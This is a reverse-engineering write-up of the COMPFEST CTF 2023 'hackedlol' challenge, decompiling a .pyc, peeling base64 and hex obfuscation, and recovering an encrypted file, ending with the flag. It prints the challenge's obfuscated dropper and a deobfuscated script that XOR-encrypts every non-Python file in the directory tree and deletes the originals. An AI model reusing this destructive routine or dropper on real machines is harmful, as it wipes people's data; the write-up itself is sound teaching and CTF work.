COMPFEST CTF 2023 - hackedlol
Description
Category: Reverse
Someone hacked my computer! I really need my important file but it’s encrypted. The IT guy managed to recover one file. But I don’t think that is my file though.
WARNING: Do not run the pyc file unless you know what you are doing.
Author: k3ng
Attachments:
Resolution
1. Decompile Python Byte code
hackedlol.pyc
contains Python byte code, we can decompile it to obtain the source code using pydumpck:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ pydumpck hackedlol.pyc
...
pydumpck initilizing with 1.16.0
2023-09-12 12:34:49,957 [*] plugins loaded with ['pycdc']
368 *: plugins loaded with ['pycdc']
2023-09-12 12:34:49,957 [*] target file input:hackedlol.pyc
to:output_3623851
368 *: target file input:hackedlol.pyc
to:output_3623851
2023-09-12 12:34:49,958 [*] start dump target file. type:pyc
368 *: start dump target file. type:pyc
2023-09-12 12:34:52,960 [+] find suitable python-version:(3, 10),magic:3439
3370 +: find suitable python-version:(3, 10),magic:3439
2023-09-12 12:34:52,972 [+] decompile bytecode by pycdc success on file:output_3623851/hackedlol.pyc,length:3745
3382 +: decompile bytecode by pycdc success on file:output_3623851/hackedlol.pyc,length:3745
2023-09-12 12:34:52,972 [+] decompile bytecode on file:output_3623851/hackedlol.pyc,length:3745
3383 +: decompile bytecode on file:output_3623851/hackedlol.pyc,length:3745
2023-09-12 12:34:52,973 [+] completed,cost 3016ms with result:pyc file handled:output_3623851/hackedlol.pyc
3383 +: completed,cost 3016ms with result:pyc file handled:output_3623851/hackedlol.pyc
pyc file handled:output_3623851/hackedlol.pyc
In the output folder we now have the source code: hackedlol.pyc.cdc.py
.
2. Deobfuscation
1
2
3
p = __import__('base64', globals(), locals())
exec(p.b64decode('cT1fX2ltcG9ydF9fKCdceDYyXHg2MVx4NzNceDY1XHgzNlx4MzQnLCBnbG9iYWxzKCksIGxvY2FscygpKTt6PV9faW1wb3J0X18oJ1x4NmZzJywgZ2xvYmFscygpLCBsb2NhbHMoKSk7eD1xLmI2NGRlY29kZSgiYm1ceDRhdmRIaFx4NzFaM1Z0Ym5ZOVhceDMxXHgzOVx4NzBiWEJ2Y25ceDUyZlh5Z1x4NmVYXHg0OGcyWmx4XHgzNE5ceDdhTVx4NmVMQ0JceDY2WDJKXHgzMWFXeDBhXHg1NzV6WDE4dVx4NTgxOWthV05ceDMwWDE5XHg2Mlx4NGEyZGNlRFpqYjJKXHg2OFx4NThIZ1x4MzJZM1x4NGRuWFNceDY3XHg3MExDQWdceDU4MTlpZFdceDZjc1x4NjRHbHVceDYzXHgzMTlmXHg0Y2w5Zlx4NWFceDQ3bGpceDY0Rlx4MzlmV3lceDY0XHg2M2VEWlx4NmFiMk5ceDY4WEhceDY3XHgzMlkzTVx4NmVceDU4U2dwS1x4NTR0XHg2YmIyXHg0NjNkV1x4NzBceDY5YUc1a1BWOVx4NjZhXHg1NzF3YjNceDRhMFgxOG9KMXg0Tlx4NmRaXHg3YUp5d2dYXHgzMVx4MzlpZFdsXHg3M2RHbHVjXHgzMTlceDY2TGxceDM5ZlpHbFx4NmFkRjlmV3lkXHg2ZVhIZzJZXHgzMjlceDY5WVZ4NE5ceDZkXHg0ZXpKXHgzMTBvS1N3XHg2N1x4NDlGOWZZblZwYkhScGJuTmZceDU4eVx4MzVceDY2WDJceDUycFlceDMzUmZYMVx4NzNuWEhnMlkyOWpZXHg1Nng0Tm1OekoxMG9LU1x4NmI3WW1WXHg2YWVceDQ4TjZjM0JceDZiYlx4MzJ0XHg3NVx4NjJuZGpQVzlceDc3Wlx4NTc0XHg2ZlpceDU4WmhiXHg0M2dpWEhnXHgzMVx4NWFceDZjeFx4MzRceDRlXHg1N1pjXHg2NURZMlhIZzJceDRmVnhceDM0Tm1NXHg2OVx4NGJceDc5SmNlRFx4NTkxWEhnMVx4NWFseDROV1lpS1NrdWNtVlx4NjhaQ2dceDcwQ2dwXHg2ZFx4NjIzSWdiSFpsWldceDZjcFx4NjNceDQ3MXVjM1I1YW5ceDQycExDQlx4NzdZblp0XHg2NFx4NmRceDRlNGFceDQ3XHgzNTJZbVx4MzloWlx4NTdvc1x4NDlHeGlceDVhV3QzWTNOclpIWmxaXHgzMkpceDZiXHg2NUNCcGJceDY5QnVZXHg2ZDkwZVx4NDdwXHg2ZWRXMVx4NzVkXHg2OVx4MzUzXHg1OVd4cktHNWliM1I0YW1kMWJceDU3NVx4MzJMbVx4NjRceDZjXHg2NEdOM1pceDQzXHg2N1x4NzBLVG9LSVx4NDNBZ0lHWlx4NzZceDYzaVx4NDJ2ZW5CdWJYSlx4NmRjbVx4NGV2WVx4NThONVlceDMzXHg0NVx4NjdhVzRnYkdKbGEzZGpjMlx4NzRrXHg2NG1WbllceDZkXHg1MjRPZ29nXHg0OVx4NDNBZ0lDQWdJR2xtSVx4NDc1dlx4NjRDQlx4NzZlbkJ1YlhKbVx4NjNtTnZceDU5WE41WTNceDQ1dVpXNWtjM2RceDcwZEdnb0lseDRNbVZceDYzZURjXHg3N1hceDQ4Z1x4MzNPU0lwT1x4NjdceDZmZ0lceDQzXHg0MWdJQ0FnSUNceDQxZ0lceDQzQnBceDYzXHg0N1x4NzBceDdhYzJOeVpXaDJlVzVceDZlWVhZOWIzQmxiXHg2OVx4NjhzZG1WbGFXbHdiVzV6ZFx4NDhscWNceDQ3XHg2YnJJXHg2Y3g0XHg0ZG1ZaUsyOTZjRzV0Y21aXHg3OVkyOWhjM2xqY1NceDc3Z1x4NDlceDZjeDROelx4NGFceDYzXHg2NURceDU5eUlpa3VjbVx4NTZoWkNceDY3cE9ceDMzSlx4NmVceDY1V2xzZG5kemNtUmpaRzVsZFx4NDQxdmNHVnVLR3hceDMyWldWXHg3MGFYQnRceDYyXHg2ZU5ceDMwZVx4NTdwd2FceDUzc2lYSGd5Wlx4NjlceDQ5cktHOTZjRzVceDc0Y21aeVkyXHgzOWhjM1x4NmNqY1M1eWMzQnNhWFFvSWk0aUxDQVx4NzhLVnN3WFNrXHg3MklpXHgzNWNlRFk0WEhnMk1WeDRceDRlak5jZURaaVhIZzJOVlx4Nzg0XHg0ZVx4NmFSY2VceDQ0WmpceDU4SGcyXHg1YWxceDc4NFx4NGVceDZkTWlceDRjQ1x4NDFpWEhnM04xXHg3OFx4MzRceDRlalx4NDlceDY5S1FvZ0lDQVx4NjdJXHg0M1x4NDFceDY3SUNceDQxZ1x4NDlceDQzQm1iXHgzM1x4NDlnYUc1d2NHTlx4MzNabXBceDMyY1x4MzIxXHg2YWNXXHg1Nlx4NjhJXHg0N1x4NmN1SUhKaFx4NjJtXHg2NGxLR3hsYmlceDY4XHg3MGNHcHpceDYzMk55WldoMmVceDU3XHgzNW5ZWFx4NTlwS1x4NTRvXHg0YklDXHg0MWdJQ0FceDY3XHg0OUNceDQxZ0lDQWdJQ0FnSUhKbmVXXHg2Y1x4NzNceDY0bmR6Y21ceDUyXHg2YVpHXHgzNWxkQ1x4MzUzY21sMFx4NWFceDUzaGpceDYxXHg0OElceDZmXHg2MVhCcWMzTmpjbVZvZG5sdVx4NWFceDMyRjJXMlx4NjhceDc1Y0hceDQyamQyXHg1YVx4NzFkbk5ceDc0XHg1OTNGbFlWXHgzMWViM1x4NGFrS1x4NDdceDRhbFx4NTkzaHplblx4NGV3Wkc5XHg3MmJtNTNZMXNvYUc1d2NHTlx4MzNceDVhXHg2ZHBceDMyYzIxalx4NjNceDU3VmhLakI0TWpjcEpceDU3eGxiaWhpWldOXHgzNGNceDMzcFx4N2FjXHg0N1J2YVx4MzI1dWQyTVx4NzBYU2tceDcwTG1WXHg3NVx4NTkyOWtaU1x4NjdwXHg0Ylx4NTFvXHg2N0lDXHg0MWdJQ0FnSVx4NDNBZ0lDQnVZbTkwZUdwbmRceDU3MXVkaTV5WlcxdmRtXHg1NW9iXHg0OFpceDZjWldsXHg3MGNHMXVceDYzM1I1YW5CcEtceDc5XHg0YWNlREptSWlceDc0dmVceDZlQlx4NzViWEptY21OdllceDU4TjVZM0VwQ2dwXHg2YmJceDMyRjNkV3BpXHg2MVx4NDc1XHg2YkxceDZlSmxiVzkyWlx4NTNobGRtRnNLXHg0M0pjXHg2NURceDU2XHg2ZFhIZzFabFx4Nzg0TmpaY2VEXHg1OTVYSFx4NjcyWVx4NzlJcklseDROalZjZURWXHg2ZFhIZzFaXHg2OUlwS1x4NTFceDNkXHgzZCIpO2Y9b3BlbigiXHg2OFx4NjVceDZjXHg3MFx4NjVceDcyXHgyZVx4NzBceDc5IiwgInciKTtmLndyaXRlKHguZGVjb2RlKCkpO2YuY2xvc2UoKTt6LnN5c3RlbSgiXHg3MFx4NzlceDc0XHg2OFx4NmZceDZlXHgzM1x4MjBceDY4XHg2NVx4NmNceDcwXHg2NVx4NzJceDJlXHg3MFx4NzkiKQ=='))
We replace exec
with open('out.py', 'wb').write
to save the executed code instead of running it.
1
q=__import__('\x62\x61\x73\x65\x36\x34', globals(), locals());z=__import__('\x6fs', globals(), locals());x=q.b64decode("bm\x4avdHh\x71Z3VtbnY9X\x31\x39\x70bXBvcn\x52fXyg\x6eX\x48g2Zlx\x34N\x7aM\x6eLCB\x66X2J\x31aWx0a\x575zX18u\x5819kaWN\x30X19\x62\x4a2dceDZjb2J\x68\x58Hg\x32Y3\x4dnXS\x67\x70LCAg\x5819idW\x6cs\x64Glu\x63\x319f\x4cl9f\x5a\x47lj\x64F\x39fWy\x64\x63eDZ\x6ab2N\x68XH\x67\x32Y3M\x6e\x58SgpK\x54t\x6bb2\x463dW\x70\x69aG5kPV9\x66a\x571wb3\x4a0X18oJ1x4N\x6dZ\x7aJywgX\x31\x39idWl\x73dGluc\x319\x66Ll\x39fZGl\x6adF9fWyd\x6eXHg2Y\x329\x69YVx4N\x6d\x4ezJ\x310oKSw\x67\x49F9fYnVpbHRpbnNf\x58y\x35\x66X2\x52pY\x33RfX1\x73nXHg2Y29jY\x56x4NmNzJ10oKS\x6b7YmV\x6ae\x48N6c3B\x6bb\x32t\x75\x62ndjPW9\x77Z\x574\x6fZ\x58Zhb\x43giXHg\x31\x5a\x6cx\x34\x4e\x57Zc\x65DY2XHg2\x4fVx\x34NmM\x69\x4b\x79JceD\x591XHg1\x5alx4NWYiKSkucmV\x68ZCg\x70Cgp\x6d\x623IgbHZlZW\x6cp\x63\x471uc3R5an\x42pLCB\x77YnZt\x64\x6d\x4e4a\x47\x352Ym\x39hZ\x57os\x49Gxi\x5aWt3Y3NrZHZlZ\x32J\x6b\x65CBpb\x69BuY\x6d90e\x47p\x6edW1\x75d\x69\x353\x59WxrKG5ib3R4amd1b\x575\x32Lm\x64\x6c\x64GN3Z\x43\x67\x70KToKI\x43AgIGZ\x76\x63i\x42venBubXJ\x6dcm\x4evY\x58N5Y\x33\x45\x67aW4gbGJla3djc2\x74k\x64mVnY\x6d\x524Ogog\x49\x43AgICAgIGlmI\x475v\x64CB\x76enBubXJm\x63mNv\x59XN5Y3\x45uZW5kc3d\x70dGgoIlx4MmV\x63eDc\x77X\x48g\x33OSIpO\x67\x6fgI\x43\x41gICAgIC\x41gI\x43Bp\x63\x47\x70\x7ac2NyZWh2eW5\x6eYXY9b3Blb\x69\x68sdmVlaWlwbW5zd\x48lqc\x47\x6brI\x6cx4\x4dmYiK296cG5tcmZ\x79Y29hc3ljcS\x77g\x49\x6cx4Nz\x4a\x63\x65D\x59yIikucm\x56hZC\x67pO\x33J\x6e\x65WlsdndzcmRjZG5ld\x441vcGVuKGx\x32ZWV\x70aXBt\x62\x6eN\x30e\x57pwa\x53siXHgyZ\x69\x49rKG96cG5\x74cmZyY2\x39hc3\x6cjcS5yc3BsaXQoIi4iLCA\x78KVswXSk\x72Ii\x35ceDY4XHg2MVx4\x4ejNceDZiXHg2NV\x784\x4e\x6aRce\x44Zj\x58Hg2\x5al\x784\x4e\x6dMi\x4cC\x41iXHg3N1\x78\x34\x4ej\x49\x69KQogICA\x67I\x43\x41\x67IC\x41g\x49\x43Bmb\x33\x49gaG5wcGN\x33Zmp\x32c\x321\x6acW\x56\x68I\x47\x6cuIHJh\x62m\x64lKGxlbi\x68\x70cGpz\x632NyZWh2e\x57\x35nYX\x59pK\x54o\x4bIC\x41gICA\x67\x49C\x41gICAgICAgIHJneW\x6c\x73\x64ndzcm\x52\x6aZG\x35ldC\x353cml0\x5a\x53hj\x61\x48I\x6f\x61XBqc3NjcmVodnlu\x5a\x32F2W2\x68\x75cH\x42jd2\x5a\x71dnN\x74\x593FlYV\x31eb3\x4akK\x47\x4al\x593hzen\x4ewZG9\x72bm53Y1soaG5wcGN\x33\x5a\x6dp\x32c21j\x63\x57VhKjB4MjcpJ\x57xlbihiZWN\x34c\x33p\x7ac\x47Rva\x325ud2M\x70XSk\x70LmV\x75\x5929kZS\x67p\x4b\x51o\x67IC\x41gICAgI\x43AgICBuYm90eGpnd\x571udi5yZW1vdm\x55ob\x48Z\x6cZWl\x70cG1u\x633R5anBpK\x79\x4aceDJmIi\x74ve\x6eB\x75bXJmcmNvY\x58N5Y3EpCgp\x6bb\x32F3dWpi\x61\x475\x6bL\x6eJlbW92Z\x53hldmFsK\x43Jc\x65D\x56\x6dXHg1Zl\x784NjZceD\x595XH\x672Y\x79IrIlx4NjVceDV\x6dXHg1Z\x69IpK\x51\x3d\x3d");f=open("\x68\x65\x6c\x70\x65\x72\x2e\x70\x79", "w");f.write(x.decode());f.close();z.system("\x70\x79\x74\x68\x6f\x6e\x33\x20\x68\x65\x6c\x70\x65\x72\x2e\x70\x79")
We need to deobfuscate the code first by:
- replacing
;
with\n
; - evaluate hex string.
Once deobfuscated, we got this:
1
2
3
4
5
6
7
q=__import__('base64', globals(), locals())
z=__import__('os', globals(), locals())
x=q.b64decode("bm\x4avdHh\x71Z3VtbnY9X\x31\x39\x70bXBvcn\x52fXyg\x6eX\x48g2Zlx\x34N\x7aM\x6eLCB\x66X2J\x31aWx0a\x575zX18u\x5819kaWN\x30X19\x62\x4a2dceDZjb2J\x68\x58Hg\x32Y3\x4dnXS\x67\x70LCAg\x5819idW\x6cs\x64Glu\x63\x319f\x4cl9f\x5a\x47lj\x64F\x39fWy\x64\x63eDZ\x6ab2N\x68XH\x67\x32Y3M\x6e\x58SgpK\x54t\x6bb2\x463dW\x70\x69aG5kPV9\x66a\x571wb3\x4a0X18oJ1x4N\x6dZ\x7aJywgX\x31\x39idWl\x73dGluc\x319\x66Ll\x39fZGl\x6adF9fWyd\x6eXHg2Y\x329\x69YVx4N\x6d\x4ezJ\x310oKSw\x67\x49F9fYnVpbHRpbnNf\x58y\x35\x66X2\x52pY\x33RfX1\x73nXHg2Y29jY\x56x4NmNzJ10oKS\x6b7YmV\x6ae\x48N6c3B\x6bb\x32t\x75\x62ndjPW9\x77Z\x574\x6fZ\x58Zhb\x43giXHg\x31\x5a\x6cx\x34\x4e\x57Zc\x65DY2XHg2\x4fVx\x34NmM\x69\x4b\x79JceD\x591XHg1\x5alx4NWYiKSkucmV\x68ZCg\x70Cgp\x6d\x623IgbHZlZW\x6cp\x63\x471uc3R5an\x42pLCB\x77YnZt\x64\x6d\x4e4a\x47\x352Ym\x39hZ\x57os\x49Gxi\x5aWt3Y3NrZHZlZ\x32J\x6b\x65CBpb\x69BuY\x6d90e\x47p\x6edW1\x75d\x69\x353\x59WxrKG5ib3R4amd1b\x575\x32Lm\x64\x6c\x64GN3Z\x43\x67\x70KToKI\x43AgIGZ\x76\x63i\x42venBubXJ\x6dcm\x4evY\x58N5Y\x33\x45\x67aW4gbGJla3djc2\x74k\x64mVnY\x6d\x524Ogog\x49\x43AgICAgIGlmI\x475v\x64CB\x76enBubXJm\x63mNv\x59XN5Y3\x45uZW5kc3d\x70dGgoIlx4MmV\x63eDc\x77X\x48g\x33OSIpO\x67\x6fgI\x43\x41gICAgIC\x41gI\x43Bp\x63\x47\x70\x7ac2NyZWh2eW5\x6eYXY9b3Blb\x69\x68sdmVlaWlwbW5zd\x48lqc\x47\x6brI\x6cx4\x4dmYiK296cG5tcmZ\x79Y29hc3ljcS\x77g\x49\x6cx4Nz\x4a\x63\x65D\x59yIikucm\x56hZC\x67pO\x33J\x6e\x65WlsdndzcmRjZG5ld\x441vcGVuKGx\x32ZWV\x70aXBt\x62\x6eN\x30e\x57pwa\x53siXHgyZ\x69\x49rKG96cG5\x74cmZyY2\x39hc3\x6cjcS5yc3BsaXQoIi4iLCA\x78KVswXSk\x72Ii\x35ceDY4XHg2MVx4\x4ejNceDZiXHg2NV\x784\x4e\x6aRce\x44Zj\x58Hg2\x5al\x784\x4e\x6dMi\x4cC\x41iXHg3N1\x78\x34\x4ej\x49\x69KQogICA\x67I\x43\x41\x67IC\x41g\x49\x43Bmb\x33\x49gaG5wcGN\x33Zmp\x32c\x321\x6acW\x56\x68I\x47\x6cuIHJh\x62m\x64lKGxlbi\x68\x70cGpz\x632NyZWh2e\x57\x35nYX\x59pK\x54o\x4bIC\x41gICA\x67\x49C\x41gICAgICAgIHJneW\x6c\x73\x64ndzcm\x52\x6aZG\x35ldC\x353cml0\x5a\x53hj\x61\x48I\x6f\x61XBqc3NjcmVodnlu\x5a\x32F2W2\x68\x75cH\x42jd2\x5a\x71dnN\x74\x593FlYV\x31eb3\x4akK\x47\x4al\x593hzen\x4ewZG9\x72bm53Y1soaG5wcGN\x33\x5a\x6dp\x32c21j\x63\x57VhKjB4MjcpJ\x57xlbihiZWN\x34c\x33p\x7ac\x47Rva\x325ud2M\x70XSk\x70LmV\x75\x5929kZS\x67p\x4b\x51o\x67IC\x41gICAgI\x43AgICBuYm90eGpnd\x571udi5yZW1vdm\x55ob\x48Z\x6cZWl\x70cG1u\x633R5anBpK\x79\x4aceDJmIi\x74ve\x6eB\x75bXJmcmNvY\x58N5Y3EpCgp\x6bb\x32F3dWpi\x61\x475\x6bL\x6eJlbW92Z\x53hldmFsK\x43Jc\x65D\x56\x6dXHg1Zl\x784NjZceD\x595XH\x672Y\x79IrIlx4NjVceDV\x6dXHg1Z\x69IpK\x51\x3d\x3d")
f=open('helper.py', "w")
f.write(x.decode())
f.close()
z.system('python3 helper.py')
There is another script called helper.py
, let save it only and not executing it by removing z.system('python3 helper.py')
from the script.
Again we need to deobfuscate it:
1
2
3
4
5
6
7
8
9
10
11
nbotxjgumnv=__import__('\x6f\x73', __builtins__.__dict__['g\x6coba\x6cs'](), __builtins__.__dict__['\x6coca\x6cs']());doawujbhnd=__import__('\x6fs', __builtins__.__dict__['g\x6coba\x6cs'](), __builtins__.__dict__['\x6coca\x6cs']());becxszspdoknnwc=open(eval("\x5f\x5f\x66\x69\x6c"+"\x65\x5f\x5f")).read()
for lveeiipmnstyjpi, pbvmvcxhnvboaej, lbekwcskdvegbdx in nbotxjgumnv.walk(nbotxjgumnv.getcwd()):
for ozpnmrfrcoasycq in lbekwcskdvegbdx:
if not ozpnmrfrcoasycq.endswith("\x2e\x70\x79"):
ipjsscrehvyngav=open(lveeiipmnstyjpi+"\x2f"+ozpnmrfrcoasycq, "\x72\x62").read();rgyilvwsrdcdnet=open(lveeiipmnstyjpi+"\x2f"+(ozpnmrfrcoasycq.rsplit(".", 1)[0])+".\x68\x61\x63\x6b\x65\x64\x6c\x6f\x6c", "\x77\x62")
for hnppcwfjvsmcqea in range(len(ipjsscrehvyngav)):
rgyilvwsrdcdnet.write(chr(ipjsscrehvyngav[hnppcwfjvsmcqea]^ord(becxszspdoknnwc[(hnppcwfjvsmcqea*0x27)%len(becxszspdoknnwc)])).encode())
nbotxjgumnv.remove(lveeiipmnstyjpi+"\x2f"+ozpnmrfrcoasycq)
doawujbhnd.remove(eval("\x5f\x5f\x66\x69\x6c"+"\x65\x5f\x5f"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
os = __import__('os', __builtins__.__dict__['globals'](), __builtins__.__dict__['locals']())
helper_file = open(eval('__file__')).read()
for root, dirs, files in os.walk(os.getcwd()):
for file in files:
if not file.endswith('.py'):
file_content = open(root+"/"+file, "rb").read()
hacked_file = open(root+"/"+(file.rsplit(".", 1)[0])+'.hackedlol', "wb")
for i in range(len(file_content)):
hacked_file.write(chr(file_content[i]^ord(helper_file[(i*0x27)%len(helper_file)])).encode())
os.remove(root+"/"+file)
os.remove(eval('__file__'))
3. Decryption
From the helper_deobfuscated.py
code, we can see that the script encrypts all files that are not Python script.
The encryption process is simply done by XORing the content of the malicious script helper.py
with the content of the target file:
1
chr(file_content[i]^ord(helper_file[(i*0x27)%len(helper_file)]))
The encryption follows this formula for each bytes at the position $i$:
\[encrypted\_file[i] = target\_file[i] \oplus f(i, helper\_file)\]where \(f(i, helper\_file)\) is a byte that depends on helper.py
and $i$ (correspond to ord(helper_file[(i*0x27)%len(helper_file)])
in the code).
We don’t need to know $f$ because:
\[target\_file[i] = encrypted\_file[i] \oplus f(i, helper\_file)\]To decrypt the file, we just have to “encrypt” the encrypted file again:
1
2
3
4
5
6
# Obfuscated version of helper.py !!!
helper_file = open('helper.py').read()
encrypted_content = open("important_file.hackedlol", "rb").read()
for i in range(len(encrypted_content)):
print(chr(encrypted_content[i]^ord(helper_file[(i*0x27)%len(helper_file)])), end="")
And we get the flag: COMPFEST15{wH4t_3veN_1s_tH1s_enCryPt10n_LOLZ_ab533e4f00}
.